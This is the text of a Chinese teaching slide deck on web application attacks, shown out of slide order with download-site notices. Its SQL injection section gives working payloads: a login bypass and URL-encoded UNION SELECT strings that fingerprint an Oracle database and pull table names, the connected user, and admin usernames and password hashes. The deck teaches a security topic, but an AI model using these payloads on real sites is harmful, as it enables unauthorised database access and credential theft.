web应用攻击技术精品PPT课件
合集下载
相关主题
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
查询数据库中所有表名
and%20%201=2%20union%20select%20null,null,TABLE _NAME,'null',null,null,'null','null','null','nu ll'%20from%20USER_TABLES--成功获取表名
其中敏感表名包括ADMIN ABOUT CONFIG MASTER
攻击代码的多样性:由于各种 数据库软件及应用程序有其自 身的特点,实际的攻击代码可 能不尽相同;
影响范围
数据库:MS-Sql Server、 Oracle、Mysql、DB2、 Informix等所有基于SQL语言 标准的数据库软件;
应用程序:ASP、PHP,JSP、 CGI、CFM等所有应用程序;
简单的SQL Injection攻击(2)
输入字符
formusr = ' or 1=1 – –
formpwd = anything
--是结束符,后面变成注释,导致
实际的查询代码
此SQL语句恒成立,可以登陆后台
SELECT * FROM users
Байду номын сангаас
WHERE username = ' ' or 1=1 – –
简单的SQL Injection攻击(1)
假设的登录查询
SELECT * FROM users
WHERE login = 'victor' AND password = '123‘
假设的ASP代码
var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";
AND password = 'anything‘
SQL注入攻击过程演示(1)
手动注入
发现注入点
发现产品展示的URL链接,提交单引号立即报错 用经典的and 1=1测试返回正常,用and 1=2返回不正常, 存
在注入漏洞 用经典的’and ‘1’=‘1测试返回正常,用’and ‘1’=‘2返回不正常,
查询字段
and%20%201=2%20union%20select%20null,null,name,'nu ll',null,null,'null','null','null','null'%20from%2 0master--获取ADMIN中的用户名
and%20%201=2%20union%20select%20null,null,password ,‘null’,null,null,‘null’,‘null’,‘null’,‘null’%20from%20 master--获取ADMIN中的管理密码,MD5加密
•WEB应用攻击技术
目录
十大WEB应用安全漏 洞 SQL注入 XSS跨站 表单绕过 Cookies欺骗 信息泄露 GoogleHacking
访问控制错误 PHP特有漏洞攻击 变量滥用 文件包含 上传漏洞攻击 网页篡改、挂马 其他
十大常见的WEB应用攻击
SQL注入(SQL injection) 跨站脚本攻击 恶意代码 已知弱点和错误配置 隐藏字段 后门和调试漏洞 参数篡改 更改cookie 输入信息控制 缓冲区溢出
字段猜解
猜解字段数量并构造查询语句
And%201=1%20union%20select%20null,null,null,null,null,null,nul l,null,null,null from dual—页面返回正常,查询语句语法正确
检测字段类型
and%201=1%20union%20select%20null,null,‘null’,’null’,null,null,‘n ull’,’null’,‘null’,’null’%20from%20dual—在第3 ,4,7,8,9,10位置加上 单引号均返回正常页面,字段是字符型
存在注入漏洞
Select * from user where id=123
String id =request.getParameter(“id”); String sql = "SELECT * FROM user WHERE id = " + id;
判断数据库类型
根据入侵经验该系统的后台可能为ORACLE数据库 Dual这个表是ORACLE数据库特有的, 看下它是否存在, 如果存在就说明数据库为ORACLE。 提交:And 0<>(select count(*) from dual),返回正 常页面
安全 风险
就风险而言,SQL Injection攻击也是位居前列,和缓冲区溢 出漏洞相比,其优势在于能够轻易的绕过防火墙直接访问数据 库,甚至能够获得数据库所在的服务器的系统权限。
在Web应用漏洞中,SQL Injection 漏洞的风险要高过其他所 有的漏洞。
攻击特点
攻击的广泛性:由于其利用的 是SQL语法,使得攻击普遍存在;
查询ORACLE数据库的版本
and%20%201=2%20union%20select%20null,null,(select%20 banner%20from%20sys.v_$version%20where%20rownum=1),' null',null,null,'null','null','null','null'%20from%2 0dual--
SQL注入
技术 概述
就攻击技术本质而言,它利用的工具是SQL的语法,针对的是 应用程序开发者编程中的漏洞,当攻击者能操作数据,向应用 程序中插入一些SQL语句时,SQL Injection攻击就发生了。
实际上,SQL Injection攻击是存在于常见的多连接的应用程 序中的一种漏洞,攻击者通过在应用程序预先定义好的SQL语 句结尾加上额外的SQL语句元素,欺骗数据库服务器执行非授 权的任意查询,篡改和命令执行。
查询当前连接用户
and%20%201=2%20union%20select%20null,null,(select%20 SYS_CONTEXT%20('USERENV',%20'CURRENT_USER')%20from%2 0dual),'null',null,null,'null','null','null','null'% 20from%20dual--—爆出当前连接用户为TOUR